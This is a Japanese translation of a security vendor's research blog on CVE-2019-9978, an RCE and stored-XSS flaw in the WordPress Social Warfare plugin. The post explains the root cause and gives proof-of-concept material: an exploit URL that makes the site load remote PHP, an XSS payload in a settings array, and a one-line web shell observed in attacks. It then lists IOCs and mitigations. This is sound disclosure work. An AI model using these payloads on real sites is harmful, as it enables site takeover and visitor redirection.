• JP
  • magnifying glass search icon to open search field
  • お問い合わせ
  • リソースセンター
  • サポートを受ける
  • 現在、攻撃を受けていますか?
Palo Alto Networks logo
  • 製品
  • ソリューション
  • サービス
  • 業種
  • パートナー
  • パロアルトネットワークスをお勧めする理由
  • 会社案内
  • その他
  • JP
    Language
  • お問い合わせ
  • リソースセンター
  • サポートを受ける
  • 現在、攻撃を受けていますか?
  • スタート ガイド

インターネット上で観測されたWordPress Social WarfareプラグインにおけるCVE-2019-9978のエクスプロイト

Qi Deng, Zhibin Zhang and Hui Gao 4 24, 2019 at 12:00 午後

本ブログは米国で2019年04月22日に公開されたUnit 42ブログ「Exploits in the Wild for WordPress Social Warfare Plugin CVE-2019-9978」の日本語翻訳です。

header image

3月21日にリサーチャーが2つの脆弱性がSocial Warfareに存在することを明らかにしました。本プラグインはWordPressで非常に人気のあるプラグインで、WebサイトやブログにSNS共有ボタンを追加するものです。1つの脆弱性はStored Cross-site Scripting Attack(XSS)の脆弱性であり、もう1つの脆弱性はリモートコード実行(RCE)の脆弱性です。この両方の脆弱性はCVE-2019-9978から追跡できます。両方の脆弱性は、3月21日にリリースされた修正版である3.5.3以前のすべてのバージョンのSocial Warfareに存在しています。試算では42,000のウェブサイト が3.5.3にアップデートされるまで潜在的に脆弱な状態とされています。攻撃者はこれらの脆弱性を悪用して、任意のPHPコードを実行し、認証なしでWebサイトとサーバーを制御することができます。攻撃者は侵入先のサイトを使って暗号通貨のマイニングを実行したり、悪意のあるエクスプロイトコードをホスティングしたりする可能性があります。パロアルトネットワークスの脅威インテリジェンス調査チームUnit 42のリサーチャーは、悪意のあるエクスプロイトコードのホスティングに活発に利用されている5つの侵害サイトを発見しました。これら侵害サイトを使って攻撃者はより多くのWebサイトを制御できるようになります。

このブログ記事では、これらの脆弱性の根本原因、脆弱性を実証するための概念実証コード(PoC)、および脆弱性のあるサイトの範囲と同様に、実際にインターネット上で観察された攻撃に関する情報を提供します。


脆弱性の根本原因分析

リモートコード実行(RCE)の脆弱性

根本的な原因は、social-warfare\lib\utilities\SWP_Database_Migration.phpにあります。

図1 WordPress Social Warfare での $_GET['swp_url'] の処理

図1は、$arrayが$optionsをもとに組み立てられている様子を示しています。$optionsは、$_GET['swp_url']にあるリモートファイルから取得されたものです。図1の250行目でわかるように、$arrayはセキュリティ検査なしでeval()関数に実行されています。これにより任意のコードが実行されます。
 

ストアドXSSの脆弱性

脆弱なコードは上記のRCEと同じファイルにあります。

図2 optionsを更新するコード

これら2つの脆弱性の根本的原因は同じで、いずれもWordPressのis_admin()関数が誤用されています。Is_adminは要求されたページが管理インターフェイスの一部かどうかを確認するだけで不正アクセスを防ぐことはできません。


PoC

RCEの脆弱性

社内検証サーバー上のあるファイルを以下の内容になるよう編集しました。このファイルでは<pre>タグ内にphpinfo()関数が格納されています。 phpinfo()は、PHPの現在の状態と環境設定を表示するPHP関数です。この関数は通常、PHPの実行を示すリモートペイロードとして使用されます。

<pre>
phpinfo();
</pre>

その後、脆弱性のあるサイトの次のURIにアクセスしてphpinfo()関数が実行されることを確認しました。

http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt

図3 phpinfo()はPoCリクエストが送信された段階で実行される

ストアドXSSの脆弱性

社内検証サーバーにある設定ファイルを以下の内容になるように操作しました。


	<pre>
	array (
	  'analytics_campaign' => 'SocialWarfare',
	  'analytics_medium' => 'social',
	  'bitly_authentication' => false,
	  'button_alignment' => 'fullWidth',
	  'button_shape' => 'flatFresh',
	  'button_size' => 1,
	  'cache_method' => 'advanced',
	  'ctt_css' => ",
	  'ctt_theme' => 'style1',
	  'custom_color' => '#000000',
	  'custom_color_outlines' => '#000000',
	  'decimal_separator' => 'period',
	  'decimals' => 0,
	  'default_colors' => 'full_color',
	  'float_alignment' => 'center',
	  'float_background_color' => '#ffffff',
	  'float_button_count' => 5,
	  'float_button_shape' => 'default',
	  'float_custom_color' => '#000000',
	  'float_custom_color_outlines' => '#000000',
	  'float_default_colors' => 'full_color',
	  'float_hover_colors' => 'fullColor',
	  'float_location' => 'bottom',
	  'float_location_page' => 'off',
	  'float_location_post' => 'on',
	  'float_mobile' => 'bottom',
	  'float_screen_width' => 1100,
	  'float_single_colors' => 'full_color',
	  'float_size' => 1,
	  'float_style_source' => true,
	  'float_vertical' => 'center',
	  'floating_panel' => true,
	  'force_new_shares' => false,
	  'frame_buster' => false,
	  'full_content' => false,
	  'google_analytics' => false,
	  'hover_colors' => 'full_color',
	  'last_migrated' => '3.0.5',
	  'location_archive_categories' => 'below',
	  'location_home' => 'none',
	  'location_page' => 'below',
	  'location_post' => 'below',
	  'minimum_shares' => 0,
	  'network_shares' => true,
	  'og_page' => 'article',
	  'og_post' => 'article',
	  'order_of_icons' =>
	  array (
	    'twitter' => 'twitter',
	    'linkedIn' => 'linkedin',
	    'pinterest' => 'pinterest',
	    'facebook' => 'facebook',
	    'google_plus' => 'google_plus',
	  ),
	  'order_of_icons_method' => 'manual',
	  'pin_browser_extension' => false,
	  'pin_browser_extension_location' => 'hidden',
	  'pinit_image_description' => 'alt_text',
	  'pinit_image_source' => 'image',
	  'pinit_location_horizontal' => 'center',
	  'pinit_location_vertical' => 'top',
	  'pinit_min_height' => '200',
	  'pinit_min_width' => '200',
	  'pinit_toggle' => false,
	  'pinterest_fallback' => 'all',
	  'pinterest_image_location' => 'hidden',
	  'recover_shares' => false,
	  'recovery_format' => 'unchanged',
	  'recovery_prefix' => 'unchanged',
	  'recovery_protocol' => 'unchanged',
	  'single_colors' => 'full_color',
	  'swp_click_tracking' => false,
	  'swp_twitter_card' => true,
	  'total_shares' => true,
	  'totals_alignment' => 'total_sharesalt',
	  'transition' => 'slide',
	  'twitter_id' => '"><script>alert(/kow/)</script>',
	  'twitter_shares' => false,
	  'utm_on_pins' => false,
	)
	</pre>

その後脆弱性のあるWordPressホストを再訪しました。
http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt

WordPressダッシュボードのSocial Warfareページにアクセスすると、図4に示す警告が表示されます。

図4 管理者がダッシュボードにアクセスしたときに表示されるアラート


インターネット上で観測されたエクスプロイト

RCEの脆弱性

これらの脆弱性を悪用したサンプルがいくつか発見されました。図5に、サンプルの1つからのPOSTリクエストを示します。

図5 インターネット上で観測されたサンプルのPOSTリクエスト

このコードはRCEの脆弱性を悪用しており、ワンラインWebシェルを操作して攻撃者がWebサイトを制御できるようにするものです。

<pre>eval($_REQUEST['wpaa'])</pre>


ストアドXSSの脆弱性

図6は、悪意のあるJavaScriptコードをデコードしたものです。こちらはストアドXSSの脆弱性を悪用して被害者を広告サイトにリダイレクトします。攻撃者はこれにより広告収入を得られます。

図6 デコードした悪意のあるJavaScript


影響を受けるサイト

私たちは、このプラグインがインストールされているサイトが約40,000あることを確認しています。それらのほとんどは脆弱なバージョンを実行している教育サイト、金融サイト、ニュースサイトなどです。図7の左側の列にあるAlexaのグローバルトラフィックランクを見るとわかるように、これらの多くはトラフィックが多いサイトです。

図7影響を受けるサイト。PublicWWWより

結論 / 緩和策

実際にインターネット上でのSocial Warfareプラグインの悪用数は多く、今後も悪意を持って使用され続ける可能性があります。7,500万を超えるWebサイトがWordPressを使用しており、トラフィックの多いWordPress Webサイトの多くがSocial Warfareプラグインを使用しているため、それらのWebサイトのユーザーはマルウェア、フィッシングページ、または暗号通貨のマイナーなどの危険にさらされる可能性があります。Webサイト管理者は、Social Warfareプラグインを3.5.3以降のバージョンに更新する必要があります。

パロアルトネットワークス製品をご利用中のお客様は、次の製品とサービスによってこれら2つの脆弱性から保護されています。

  1. Threat Prevention シグネチャ 55424
  2. PAN-DB で攻撃者のC2サーバのIP/ドメインを遮断
  3. WildFireとAntivirusでエクスプロイトペイロードを識別・遮断


パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。
CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。
Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org


IOC

  • Pastebin[.]com/0yJzqbYf
  • www[.]viamarkt[.]hu/readme[.]txt
  • netlabs[.]gr//images/code[.]txt
  • www[.]acne-school[.]ru//sites/all/modules/webform/tests/subform[.]txt
  • Www[.]tekmat[.]net/wp-content/uploads/2014/04/jpg[.]txt
  • Customcoverinc[.]com/images/banners/shopreadme[.]txt
  • 37[.]59[.]55[.]45
  • 192[.]99[.]35[.]149
  • 192[.]99[.]35[.]63
  • 94[.]23[.]255[.]34
  • 8[.]47[.]64[.]2

 

ニュース

Wireshark によるパケット解析講座 1

Wireshark は無料で利用できるプロトコル アナライザです。 Wireshark を使うとネットワーク トラフィックをキャプチャしたり、キャプチャしたパケットを表示させることができます。そこでパロアルトネットワークスの脅威インテリジェンス調査チーム Unit42 に所属するアナリストが、Wireshark を使ってマルウェア検体が生成したトラフィックをレビューするさいに利用している便利な使いかたをご紹介していきます。
January 17, 2019

ニュース

Wireshark によるパケット解析講座 3

前回までではWiresharkの列表示のカスタマイズ方法と表示フィルタの式について見ていきました。本稿ではトラフィックから感染ないし侵害を受けたホスト名やユーザーを特定する方法について説明します。
March 31, 2019

ニュース

DNSトンネリング: 攻撃者はDNSをどう悪用するのか

悪意のある攻撃者は、ドメインネームサービス(DNS)をコマンド&コントロール(C2)用通信チャネルとして悪用してきました。またこのプロトコルはこのほかに、データを漏出させる目的でも悪用されてきました。DNS の悪用はC2に「ハートビート」接続のために通信するという用途からさらに広がっており、攻撃者はここ数年、悪意のあるデータやペイロードをDNS経由で被害者のシステムに侵入させる用途にもDNSを使っています。本稿では、DNSを悪用したデータ侵入・漏出の種類、方法、使用方法を紹介し、その防御メカニズムへの指針を示します。
March 18, 2019

データシート

PA-400シリーズ

パロアルトネットワークスの機械学習を活用したNGFW「PA-400 Series (PA-460、PA-450、PA-440)」なら、分散した大企業の支社、小売店、中規模企業にも次世代ファイアウォール機能を導入できます。
August 3, 2022

ニュース

Wireshark によるパケット解析講座 2

前回は Wiresharkの列表示のカスタマイズ方法について見ていきました。本稿では脅威インテリジェンスの調査上便利なフィルタリングの設定方法について説明します。
January 20, 2019

ニュース

Wireshark によるパケット解析講座 4

セキュリティ専門家は、不審なアクティビティのパケット キャプチャ(pcap)をレビューする際、より詳しく調べるために、オブジェクトをpcapからエクスポートしなければならない場合があります。
July 12, 2019

最新ニュース、イベント情報、脅威アラートを配信

このフォームを送信すると、お客様は弊社の利用規約とプライバシー ポリシーに同意したものとみなされます。

black youtube icon black twitter icon black facebook icon black linkedin icon
  • USA (ENGLISH)
  • AUSTRALIA (ENGLISH)
  • BRAZIL (PORTUGUÉS)
  • CANADA (ENGLISH)
  • CHINA (简体中文)
  • FRANCE (FRANÇAIS)
  • GERMANY (DEUTSCH)
  • INDIA (ENGLISH)
  • ITALY (ITALIANO)
  • JAPAN (日本語)
  • KOREA (한국어)
  • LATIN AMERICA (ESPAÑOL)
  • MEXICO (ESPAÑOL)
  • SINGAPORE (ENGLISH)
  • SPAIN (ESPAÑOL)
  • TAIWAN (繁體中文)
  • UK (ENGLISH)

人気のあるリソース

  • 会社概要
  • イベント センター
  • イベント
  • リソースセンター
  • プレスリリース
  • Unit42 ブログ
  • 投資家の皆様へ
  • ブログ
  • Japan Live Community
  • Tech Docs
  • キャリア
  • お問い合わせ
  • サイトマップ

法定通知

  • プライバシー
  • 個人情報保護基本方針
  • 利用規約
  • トラスト センター
  • ドキュメント
  • 一般事業主行動計画

アカウント

  • 購読の管理
  • パートナーログイン
  • パートナーになる
脆弱性の報告

Copyright © 2023 Palo Alto Networks. All rights reserved